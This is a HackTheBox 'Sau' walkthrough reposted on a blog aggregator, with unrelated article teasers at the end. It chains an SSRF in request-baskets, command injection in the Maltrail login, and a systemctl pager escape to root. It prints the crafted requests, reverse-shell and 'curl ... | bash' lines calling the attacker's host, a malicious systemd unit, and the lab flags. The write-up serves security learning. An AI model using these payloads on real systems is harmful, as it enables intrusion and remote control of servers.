https://app.hackthebox.com/machines/Sau

https://app.hackthebox.com/machines/Sau

https://app.hackthebox.com/machines/Sau

image-20230730153529323

1.info collecting

└─$ nmap -A 10.10.11.224 -T4 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-30 15:36 HKT
Nmap scan report for 10.10.11.224 (10.10.11.224)
Host is up (0.66s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp    filtered http
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 30 Jul 2023 07:39:48 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sun, 30 Jul 2023 07:39:04 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sun, 30 Jul 2023 07:39:07 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

└─$ sudo masscan 10.10.11.224 -p1-65535 -i tun0                                                                                                                            127 ⨯
[sudo] kwkl 的密码：
对不起，请重试。
[sudo] kwkl 的密码：
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-07-30 07:38:54 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 55555/tcp on 10.10.11.224                                 
Discovered open port 22/tcp on 10.10.11.224

image-20230730154852352

http://10.10.11.224:55555/web


Request Baskets
×
HTTP error
Close
×
Created
Basket 'a0xd3ro' is successfully created!

Your token is: f4K8SVw1vHre3oJngvf8HElZoOgLGsoye3ka7fsOTWNm

Close Open Basket
Master Token
This service is operating in restrected mode. The master token is required in order to be able to create a new basket.

Token: 
Back to list of your baskets Authorize
New Basket
Create a basket to collect and inspect HTTP requests

http://10.10.11.224:55555/ 
a0xd3ro
Create
My Baskets:
You have no baskets yet
Powered by request-baskets | Version: 1.2.1

2.Find some useful info & do it

（1）Request Baskets

image-20230730155029577

image-20230730155246951

[description]
request-baskets up to v1.2.1 was discovered to contain a Server-Side
Request Forgery (SSRF) via the component /api/baskets/{name}. This
vulnerability allows attackers to access network resources and
sensitive information via a crafted API request.
>
------------------------------------------
>
[VulnerabilityType Other]
Server-Side Request Forgery (SSRF)
>
------------------------------------------
>
[Vendor of Product]
https://github.com/darklynx/request-baskets
>
------------------------------------------
>
[Affected Product Code Base]
request-baskets - <= Version 1.2.1
>
------------------------------------------
>
[Affected Component]
The API endpoints /api/baskets/{name}, /baskets/{name} are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the forward_url parameter.
>
------------------------------------------
>
[Attack Type]
Remote
>
------------------------------------------
>
[Impact Escalation of Privileges]
true
>
------------------------------------------
>
[Impact Information Disclosure]
true
>
------------------------------------------
>
[Attack Vectors]
POC: POST /api/baskets/{name} API with payload - {"forward_url": "http://127.0.0.1:80/test","proxy_response": false,"insecure_tls": false,"expand_path": true,"capacity": 250}
details can be seen: https://notes.sjtu.edu.cn/s/MUUhEymt7
>
------------------------------------------
>
[Discoverer]
beet1e
>
------------------------------------------
>
[Reference]
http://request-baskets.com
https://github.com/darklynx/request-baskets
https://notes.sjtu.edu.cn/s/MUUhEymt7

image-20230730162122259

image-20230730203601983

use poc

image-20230730203634732

POST /api/baskets/q4tgdug2 HTTP/1.1
Host: 10.10.11.224:55555
Content-Length: 147
Accept: */*
X-Requested-With: XMLHttpRequest
Authorization: null
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Origin: http://10.10.11.224:55555
Referer: http://10.10.11.224:55555/web
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{
  "forward_url": "http://127.0.0.1:80/test",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

image-20230730203538447

HTTP/1.1 201 Created
Content-Type: application/json; charset=UTF-8
Date: Sun, 30 Jul 2023 12:35:31 GMT
Content-Length: 56
Connection: close

{"token":"PjX9v_Y5ZSuTSuCwpkFw_G8BoFFrI7pqdWfQzcuog1TI"}

next time

POST /api/baskets/haha35 HTTP/1.1
Host: 10.10.11.224:55555
Content-Length: 142
Accept: */*
X-Requested-With: XMLHttpRequest
Authorization: null
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Origin: http://10.10.11.224:55555
Referer: http://10.10.11.224:55555/web
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{
  "forward_url": "http://127.0.0.1:80/",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}



HTTP/1.1 201 Created
Content-Type: application/json; charset=UTF-8
Date: Sun, 30 Jul 2023 12:40:47 GMT
Content-Length: 56
Connection: close

{"token":"Z8tVZ90iX7iu7dgYpnv-HMc8CmDVtFVk39XkCPXD7L_0"}

image-20230730204112860

http://10.10.11.224:55555/haha35

image-20230730204130644

image-20230730204214094

（2）Find the Powered by Maltrail (v0.53)

altrail

Documentation
|
Wiki
|
Issues
|
Log In

Threats

Events

Severity

Sources

Trails
close
Powered by Maltrail (v0.53)
Hide threat
Report false positive

https://nvd.nist.gov/vuln/detail/CVE-2023-27163

https://github.com/spookier/Maltrail-v0.53-Exploit

image-20230730204718815

POC

http://10.10.11.224:55555/haha35/

curl 'http://hostname:8338/login' \
  --data 'username=;`id > /tmp/bbq`'
  
  curl 'http://10.10.11.224:55555/haha35/login' \
  --data 'username=;`id > /tmp/bbq`'

image-20230730205744797

image-20230730205846347

POST /api/baskets/haha352 HTTP/1.1
Host: 10.10.11.224:55555
Content-Length: 147
Accept: */*
X-Requested-With: XMLHttpRequest
Authorization: null
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Origin: http://10.10.11.224:55555
Referer: http://10.10.11.224:55555/web
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{
  "forward_url": "http://127.0.0.1:80/login",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

HTTP/1.1 201 Created
Content-Type: application/json; charset=UTF-8
Date: Sun, 30 Jul 2023 12:58:47 GMT
Content-Length: 56
Connection: close

{"token":"q8Urj-0YUEKHYxVTEGGmvKnPNpJN-vScNSmYuCfbmDRl"}


┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                            1 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

id

http://10.10.11.224:55555/haha352

curl ‘http://10.10.11.224:55555/haha352’
–data ‘username=;bash -i >& /dev/tcp/10.10.16.9/6666 0>&1’

image-20230730210742426

curl ‘http://10.10.11.224:55555/haha352’
–data ‘username=;http://10.10.16.9:5555/shell3.php | bash’

curl ‘http://10.10.11.224:55555/haha352’
–data ‘username=;curl http://10.10.16.9:5555/shell3.php | bash’

            
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$  curl 'http://10.10.11.224:55555/haha352' \
  --data 'username=;`curl http://10.10.16.9:5555/shell3.php | bash`'


┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                            1 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

id
Ncat: Connection from 10.10.11.224.
Ncat: Connection from 10.10.11.224:57512.
bash: cannot set terminal process group (887): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ 
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
puma@sau:/opt/maltrail$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
puma@sau:/opt/maltrail$ ls
ls
CHANGELOG
CITATION.cff
LICENSE
README.md
core
docker
h
html
maltrail-sensor.service
maltrail-server.service
maltrail.conf
misc
plugins
requirements.txt
sensor.py
server.py
thirdparty
trails
puma@sau:/opt/maltrail$ 

.puma@sau:~$ cat user.txt
cat user.txt
e8ea19ef627d286a17e25e0aa4420eb8
puma@sau:~$ 


puma@sau:/opt/maltrail$ id 
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
puma@sau:/opt/maltrail$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:/opt/maltrail$ ls -l /usr/bin/systemctl
ls -l /usr/bin/systemctl
-rwxr-xr-x 1 root root 996584 Mar 27 17:54 /usr/bin/systemctl
puma@sau:/opt/maltrail$

Let systemctl up

Ref:https://www.cnblogs.com/zlgxzswjy/p/14781471.html

image-20230730211753211

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名位mm.service

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.16.9/9999 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名位mm.service

puma@sau:~$ wget http://10.10.16.9:5555/mm.service
wget http://10.10.16.9:5555/mm.service
--2023-07-30 13:24:19--  http://10.10.16.9:5555/mm.service
Connecting to 10.10.16.9:5555... connected.
HTTP request sent, awaiting response... 200 OK
Length: 187 [application/octet-stream]
Saving to: ‘mm.service’

     0K                                                       100% 19.2M=0s

2023-07-30 13:24:21 (19.2 MB/s) - ‘mm.service’ saved [187/187]

puma@sau:~$ ls
ls
mm.service
user.txt
puma@sau:~$ mv mm.service /dev/shm
mv mm.service /dev/shm
puma@sau:~$ cat /dev/shm/mm.service
cat /dev/shm/mm.service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.16.9/9999 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名位mm.service
puma@sau:~$ sudo systemctl link /dev/shm/mm.service
sudo systemctl link /dev/shm/mm.service
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
puma@sau:~$ sudo systemctl enable --now /dev/shm/mm.service\
sudo systemctl enable --now /dev/shm/mm.service\
> 

sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
puma@sau:~$ 

puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$

I can’t let it run

keep studying

image-20230730212957399

image-20230730220504750

puma@sau:/opt/maltrail$ sudo  /usr/bin/systemctl status trail.service   
sudo  /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!sh
!!sshh!sh
# id
!id
sh: 1: !id: not found
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd
cd
# ls
ls
go  root.txt
# cat root.txt
cat root.txt
8bb88ff1298f508794168692c33aedb7
#

sudo /usr/bin/systemctl status trail.service

image-20230730220446737

Ref:

https://techyrick.com/sau-htb-writeup/

https://gtfobins.github.io/gtfobins/systemctl/

https://gtfobins.github.io

https://blog.csdn.net/zrk3034197094/article/details/131806218

https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/

REF：

Unauthenticated OS Command Injection in stamparm/maltrail in stamparm/maltrail

0

Valid

Reported on

Feb 25th 2023

DescriptionMaltrail <= v0.54 is vulnerable to unauthenticated OS command injection during the login process.SummaryThe subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get("username")parameter.An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication.Proof of Conceptcurl 'http://hostname:8338/login' \ --data 'username=;id > /tmp/bbq' ImpactArbitrary command execution

Occurrences

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RxJ72ZpB-1690726000141)(data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTkuODYgMkM4LjI4IDIgNyAzLjI4IDcgNC44NnYxLjY4aDQuMjljLjM5IDAgLjcxLjU3LjcxLjk2SDQuODZDMy4yOCA3LjUgMiA4Ljc4IDIgMTAuMzZ2My43ODFjMCAxLjU4IDEuMjggMi44NiAyLjg2IDIuODZoMS4xOHYtMi42OGMwLTEuNTggMS4yNy0yLjg2IDIuODUtMi44Nmg1LjI1YzEuNTggMCAyLjg2LTEuMjcxIDIuODYtMi44NTFWNC44NkMxNyAzLjI4IDE1LjcyIDIgMTQuMTQgMnptLS43MiAxLjYxYy40IDAgLjcyLjEyLjcyLjcxcy0uMzIuODkxLS43Mi44OTFjLS4zOSAwLS43MS0uMy0uNzEtLjg5cy4zMi0uNzExLjcxLS43MTF6IiBmaWxsPSIjM2M3OGFhIi8+PHBhdGggZD0iTTE3Ljk1OSA3djIuNjhhMi44NSAyLjg1IDAgMCAxLTIuODUgMi44NTlIOS44NkEyLjg1IDIuODUgMCAwIDAgNyAxNS4zODl2My43NWEyLjg2IDIuODYgMCAwIDAgMi44NiAyLjg2aDQuMjhBMi44NiAyLjg2IDAgMCAwIDE3IDE5LjE0di0xLjY4aC00LjI5MWMtLjM5IDAtLjcwOS0uNTctLjcwOS0uOTZoNy4xNEEyLjg2IDIuODYgMCAwIDAgMjIgMTMuNjR2LTMuNzhhMi44NiAyLjg2IDAgMCAwLTIuODYtMi44NnpNOC4zMiAxMS41MTNsLS4wMDQuMDA0Yy4wMTItLjAwMi4wMjUtLjAwMS4wMzgtLjAwNHptNi41NCA3LjI3NmMuMzkgMCAuNzEuMy43MS44OWEuNzEuNzEgMCAwIDEtLjcxLjcxYy0uNCAwLS43Mi0uMTItLjcyLS43MXMuMzItLjg5LjcyLS44OXoiIGZpbGw9IiNmZGQ4MzUiLz48L3N2Zz4=)]httpd.py L399

REf:

request-baskets SSRF details

Acknowledgment

Credit to @beet1e from Shanghai Jiao Tong University and @chenlibo147 , @houqinsheng, 202037049@mail.sdu.edu.cn from Shandong University.

Vulnerability description

Follow the official documentation to start forem with docker installation.

img

Then, we log in to the administrator background:
img

The following API’s forward_url parameter is vulnerable to SSRF：

  1. /api/baskets/{name}
  2. /baskets/{name}

Let’s take /api/baskets/{name} API as an example, another API is the same vulnerability.

We use the following payload to post /api/baskets/{name} API：

{
  "forward_url": "http://127.0.0.1:80/test",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

img

Direct post can only set the url, you need to visit the url - http://192.168.175.213:55555/test to trigger the SSRF vulnerability.

img

Influence：

Information Disclosure and Exfiltration
This was previously identified as an issue. Requests for images that are unauthenticated can lead to the leak of all existing images in the server. However, this isn’t limited to just images. Any resource that can be obtained via an HTTP request on the local network of the webserver can be obtained remotely via this request.

Unauthenticated Access to Internal Network HTTP Servers
The SSRF attack can be leveraged to connect to any HTTP Server connected to the same network as the request-baskets server, for instance an Nginx server exposed only internally, an internal RESTful API, such as a NoSQL database, or a GraphQL database. This is not limited just to services hosted on the local machine, but all the machines connected on the local network.

Port and IP Scanning and Enumeration
This vulnerability can be leveraged to port scan for HTTP servers both internal and external services on demand, as well as enumerating all the machines in the local network that have open HTTP ports.

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/51722.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

全局ip代理安全吗？ 手机设置全局代理方法详解

全局ip代理安全吗？ 手机设置全局代理方法详解

全局IP代理并不一定是安全的&#xff0c;因为全局IP代理会将所有网络流量都通过代理服务器进行转发&#xff0c;包括敏感信息和隐私数据。如果代理服务器受到黑客攻击或存在安全漏洞&#xff0c;可能会导致数据泄露和其他安全问题。因此&#xff0c;在使用全局IP代理时&#xf…
阅读更多...
Spring Boot实践四 --集中式缓存Redis

Spring Boot实践四 --集中式缓存Redis

随着时间的积累&#xff0c;应用的使用用户不断增加&#xff0c;数据规模也越来越大&#xff0c;往往数据库查询操作会成为影响用户使用体验的瓶颈&#xff0c;此时使用缓存往往是解决这一问题非常好的手段之一。Spring 3开始提供了强大的基于注解的缓存支持&#xff0c;可以通…
阅读更多...
【Leetcode】62.不同路径

【Leetcode】62.不同路径

一、题目 1、题目描述 一个机器人位于一个 m x n 网格的左上角 （起始点在下图中标记为 “Start” ）。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角（在下图中标记为 “Finish” ）。 问总共有多少条不同的路径？ 示例1： 输入：m = 3, n = 7 输出：…
阅读更多...
AD21原理图的高级应用（六）原理图设计片段的使用

AD21原理图的高级应用（六）原理图设计片段的使用

&#xff08;六&#xff09;原理图设计片段的使用 Altium Designer 的片段功能可以很方便地重复使用一些单元模块,其中包括原理图的电路模块、PCB(包括布线)和代码模块。例如在工程中需要设计电源模块,而别的工程中又恰好有比较完善的电源模块,这时就可以通过片段功能重复地使用…
阅读更多...
京东技术专家首推:Spring 微服务架构设计，GitHub 星标 128K

京东技术专家首推:Spring 微服务架构设计，GitHub 星标 128K

前言 本书提供了实现大型响应式微服务的实用方法和指导原则&#xff0c;并通过示例全面 讲解如何构建微服务。本书深入介绍了 Spring Boot、Spring Cloud、 Docker、Mesos 和 Marathon&#xff0c;还会教授如何用 Spring Boot 部署自治服务&#xff0c;而 无须使用重量级应用服…
阅读更多...
03_使用execle表生成甘特图

03_使用execle表生成甘特图

背景 每次排期都需要话很多时间 很可能排期还不对头 这时候需要一个表能看到 1.什么时候项目结束 开始 转阶段 2.当前手上的活能不能做完 当前阶段手上有多少活 3.产品经理每次修改完计划迅速排期 甘特图生成 execle表生成 1.需要使用亿图创建甘特图 2.把当前的甘特图数据进…
阅读更多...
TextClamp for Vue3.0（Vue3.0的文本展开收起组件）

TextClamp for Vue3.0（Vue3.0的文本展开收起组件）

呦&#xff01;大家好&#xff0c;好久没有更新博客了&#xff0c;最近实现了一个一直想自己完成的一个东西&#xff0c;就是文本的展开收起组件&#xff0c;以前项目需要用到&#xff0c;自己实现一个又太繁琐&#xff0c;所以那个时候都是用的别人的轮子&#xff0c;现在自己…
阅读更多...
在Ail Linux中手动配置IPv6

在Ail Linux中手动配置IPv6

第一步&#xff0c;登录阿里云服务器控制台&#xff0c;在“概览”页面找到对应实例&#xff0c;然后单击实例ID。 第二步&#xff0c;在“实例详情”页面中的“网络信息”栏目中&#xff0c;可以发现“IPv6 地址”中没有数据&#xff0c;然后单击“专有网络”的专有网络ID。 第…
阅读更多...
Pandas进阶修炼120题-第三期（金融数据处理，51-80题）

Pandas进阶修炼120题-第三期（金融数据处理，51-80题）

目录 往期内容&#xff1a;第一期&#xff1a;Pandas基础&#xff08;1-20题&#xff09;第二期&#xff1a;Pandas数据处理&#xff08;21-50题&#xff09; 第三期 金融数据处理51.使用绝对路径读取本地Excel数据方法一&#xff1a;双反斜杠绝对路径方法二&#xff1a;r 拓展…
阅读更多...
TypeScript算法题实战——剑指 Offer篇（5）

TypeScript算法题实战——剑指 Offer篇（5）

目录 一、平衡二叉树1.1、题目描述1.2、题解 二、数组中数字出现的次数2.1、题目描述2.2、题解 三、数组中数字出现的次数 II3.1、题目描述3.2、题解 四、和为s的两个数字4.1、题目描述4.2、题解 五、和为s的连续正数序列5.1、题目描述5.2、题解 六、翻转单词顺序6.1、题目描述…
阅读更多...
大数据技术之Hive2

大数据技术之Hive2

目录标题 3、Hive 数据类型3.1 基本数据类型&#xff1a;3.2 集合数据类型&#xff1a;3.3 类型转化 4、DDL数据定义4.1 创建数据库4.2 查询数据库4.3 创建表4.4 管理表4.5 外部表4.6 管理表与外部表的相互转换4.7 分区表4.7.1 分区表基本操作4.7.2 分区表注意事项 4.7 修改表4…
阅读更多...
小程序picker 在苹果手机不兼容 bug，按month时在iPhone 显示不正确及自动定位时间问题

小程序picker 在苹果手机不兼容 bug，按month时在iPhone 显示不正确及自动定位时间问题

如下图&#xff1a;点击弹出时间列表&#xff1a;日历控件点击选择显示1年1月 解决: 加上起始时间字段 <picker mode"date" value"{{date}}" start"1970-09-01" end"2030-09-01"></picker> 问题二&#xff1a; 还是&a…
阅读更多...
leetcode 面试题 01.03. URL化

leetcode 面试题 01.03. URL化

⭐️ 题目描述 &#x1f31f; leetcode链接&#xff1a;面试题 01.03. URL化 思路&#xff1a; 计算出空格的个数&#xff0c;我们可以知道最后一个字符的位置 endPos&#xff0c;再从后 end 向前遍历若不是空格正常拷贝&#xff0c;是空格则替换成 %20&#xff0c;最终当空格…
阅读更多...
Unity 性能优化二：内存问题

Unity 性能优化二：内存问题

目录 策略导致的内存问题 GFX内存 纹理资源 压缩格式 Mipmap 网格资源 Read/Write 顶点数据 骨骼 静态合批 Shader资源 Reserved Memory RenderTexture 动画资源 音频资源 字体资源 粒子系统资源 Mono堆内存 策略导致的内存问题 1. Assetbundle 打包的时候…
阅读更多...
antd中的Cascader级联选择框怎么清空重置React

antd中的Cascader级联选择框怎么清空重置React

项目场景&#xff1a; React项目&#xff0c;使用antd中的Cascader级联选择框 问题描述&#xff1a; 通过其他按钮无法重置选择框中的项 原因分析&#xff1a;&#xff08;对应解决办法一和二&#xff09; 1、级联选择框的数据默认是根据options绑定的数组中的value值来进行…
阅读更多...
深入浅出指南：Netty开发【NIO核心组件】

深入浅出指南：Netty开发【NIO核心组件】

目录 ​Netty开发【NIO核心组件】 1.NIO基础概念 2.NIO核心组件 2.1.Channel&&Buffer简介 2.2.Selector 服务器的多线程版本 服务器的线程池版本 服务器的selector版本 2.3.Buffer 0.ByteBuffer的正确使用流程 1.ByteBuffer类型简介 2.ByteBuffer核心属性说…
阅读更多...
【解惑笔记】树莓派+OpenCV+YOLOv5目标检测(Pytorch框架)

【解惑笔记】树莓派+OpenCV+YOLOv5目标检测(Pytorch框架)

【学习资料】 子豪兄的零基础树莓派教程https://github.com/TommyZihao/ZihaoTutorialOfRaspberryPi/blob/master/%E7%AC%AC2%E8%AE%B2%EF%BC%9A%E6%A0%91%E8%8E%93%E6%B4%BE%E6%96%B0%E6%89%8B%E6%97%A0%E7%97%9B%E5%BC%80%E6%9C%BA%E6%8C%87%E5%8D%97.md#%E7%83%A7%E5%BD%95…
阅读更多...
Qt6 Qt Quick UI原型学习QML第七篇

Qt6 Qt Quick UI原型学习QML第七篇

文章目录 效果演示QML语法 ClickableImageV2.qmlQML语法 EasingCurves.qml时钟小球滚动QML 源码## 时钟小球滚动QML解释 语法解释参考动画片动画元素应用动画可点击图像V2上升的物体第一个对象第二个对象第三个对象缓和曲线分组动画并行动画连续动画嵌套动画 效果演示 QML语法 …
阅读更多...
orm（连接MySQL，增删改，创建表，样例）

orm（连接MySQL，增删改，创建表，样例）

1.启动数据库 mysql -u root -p password:(输入密码)2.创建数据库 create database stu DEFAULT CHARSET utf8 COLLATE utf8_general_ci;3.更改Django中settings.py文件配置 Django连接数据库&#xff1a; DATABASES {default: {ENGINE: django.db.backends.mysql,NAME: st…
阅读更多...
一起学算法（插入排序篇）

一起学算法（插入排序篇）

概念&#xff1a; 插入排序&#xff08;inertion Sort&#xff09;一般也被称为直接插入排序&#xff0c;是一种简单的直观的排序算法 工作原理&#xff1a;将待排列元素划分为&#xff08;已排序&#xff09;和&#xff08;未排序&#xff09;两部分&#xff0c;每次从&…
阅读更多...
最新文章

Copyright @ 2022~2023